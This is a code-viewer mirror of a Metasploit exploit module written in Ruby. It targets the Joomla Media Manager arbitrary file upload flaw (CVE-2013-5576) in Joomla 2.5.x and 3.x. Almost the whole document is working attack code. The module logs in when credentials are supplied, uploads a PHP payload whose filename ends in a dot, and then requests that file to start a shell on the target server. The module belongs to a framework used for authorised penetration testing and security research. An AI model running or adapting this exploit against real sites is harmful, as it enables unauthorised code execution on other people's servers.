Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Joomla Media Manager File Upload Vulnerability",
17
'Description' => %q{
18
This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as
19
3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,
20
which comes by default in Joomla, allowing arbitrary file uploads, and results in
21
arbitrary code execution. The module has been tested successfully on Joomla 2.5.13
22
and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media
23
Manager, you will need to supply a valid username and password (Editor role or
24
higher) in order to work properly.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB
29
'juan vazquez' # Metasploit module
30
],
31
'References' => [
32
[ 'CVE', '2013-5576' ],
33
[ 'OSVDB', '95933' ],
34
[ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],
35
[ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ],
36
[ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ],
37
[ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ],
38
[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/15/time-to-patch-joomla' ]
39
],
40
'Payload' => {
41
'DisableNops' => true,
42
# Arbitrary big number. The payload gets sent as POST data, so
43
# really it's unlimited
44
'Space' => 262144, # 256k
45
},
46
'Platform' => ['php'],
47
'Arch' => ARCH_PHP,
48
'Targets' => [
49
[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]
50
],
51
'Privileged' => false,
52
'DisclosureDate' => '2013-08-01',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
65
OptString.new('USERNAME', [true, 'User to login with', '']),
66
OptString.new('PASSWORD', [true, 'Password to login with', '']),
67
]
68
)
69
end
70
71
def check
72
res = get_upload_form
73
74
if res and (res.code == 200 or res.code == 302)
75
if res.body =~ /You are not authorised to view this resource/
76
vprint_status("Joomla Media Manager Found but authentication required")
77
return Exploit::CheckCode::Detected
78
elsif res.body =~ /<form action="(.*)" id="uploadForm"/
79
vprint_status("Joomla Media Manager Found and authentication isn't required")
80
return Exploit::CheckCode::Detected
81
end
82
end
83
84
return Exploit::CheckCode::Safe
85
end
86
87
def upload(upload_uri)
88
begin
89
u = URI(upload_uri)
90
rescue ::URI::InvalidURIError
91
fail_with(Failure::Unknown, "Unable to get the upload_uri correctly")
92
end
93
94
data = Rex::MIME::Message.new
95
data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
96
post_data = data.to_s
97
98
res = send_request_cgi({
99
'method' => 'POST',
100
'uri' => "#{u.path}?#{u.query}",
101
'ctype' => "multipart/form-data; boundary=#{data.bound}",
102
'cookie' => @cookies,
103
'vars_get' => {
104
'asset' => 'com_content',
105
'author' => '',
106
'format' => '',
107
'view' => 'images',
108
'folder' => ''
109
},
110
'data' => post_data
111
})
112
113
return res
114
end
115
116
def get_upload_form
117
res = send_request_cgi({
118
'method' => 'GET',
119
'uri' => normalize_uri(target_uri.path, "index.php"),
120
'cookie' => @cookies,
121
'encode_params' => false,
122
'vars_get' => {
123
'option' => 'com_media',
124
'view' => 'images',
125
'e_name' => 'jform_articletext',
126
'asset' => 'com_content',
127
'author' => ''
128
}
129
})
130
131
return res
132
end
133
134
def get_login_form
135
res = send_request_cgi({
136
'method' => 'GET',
137
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
138
'cookie' => @cookies,
139
'vars_get' => {
140
'view' => 'login'
141
}
142
})
143
144
return res
145
end
146
147
def login
148
res = send_request_cgi({
149
'method' => 'POST',
150
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
151
'cookie' => @cookies,
152
'vars_get' => {
153
'task' => 'user.login'
154
},
155
'vars_post' => {
156
'username' => @username,
157
'password' => @password
158
}.merge(@login_options)
159
})
160
161
return res
162
end
163
164
def parse_login_options(html)
165
html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) { |option|
166
@login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"
167
}
168
end
169
170
def exploit
171
@login_options = {}
172
@cookies = ""
173
@upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"
174
@username = datastore['USERNAME']
175
@password = datastore['PASSWORD']
176
177
print_status("Checking Access to Media Component...")
178
res = get_upload_form
179
180
if res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /You are not authorised to view this resource/
181
print_status("Authentication required... Proceeding...")
182
183
if @username.empty? or @password.empty?
184
fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
185
end
186
@cookies = res.get_cookies.sub(/;$/, "")
187
188
print_status("Accessing the Login Form...")
189
res = get_login_form
190
if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/
191
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
192
end
193
parse_login_options(res.body)
194
195
res = login
196
if not res or res.code != 303
197
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
198
end
199
elsif res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /<form action="(.*)" id="uploadForm"/
200
print_status("Authentication isn't required.... Proceeding...")
201
@cookies = res.get_cookies.sub(/;$/, "")
202
else
203
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
204
end
205
206
print_status("Accessing the Upload Form...")
207
res = get_upload_form
208
209
if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/
210
upload_uri = Rex::Text.html_decode($1)
211
else
212
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
213
end
214
215
print_status("Uploading shell...")
216
217
res = upload(upload_uri)
218
219
if res.nil? or res.code != 200
220
fail_with(Failure::Unknown, "#{peer} - Upload failed")
221
end
222
223
register_files_for_cleanup("#{@upload_name}.")
224
print_status("Executing shell...")
225
send_request_cgi({
226
'method' => 'GET',
227
'uri' => normalize_uri(target_uri.path, "images", @upload_name),
228
})
229
end
230
end
231
232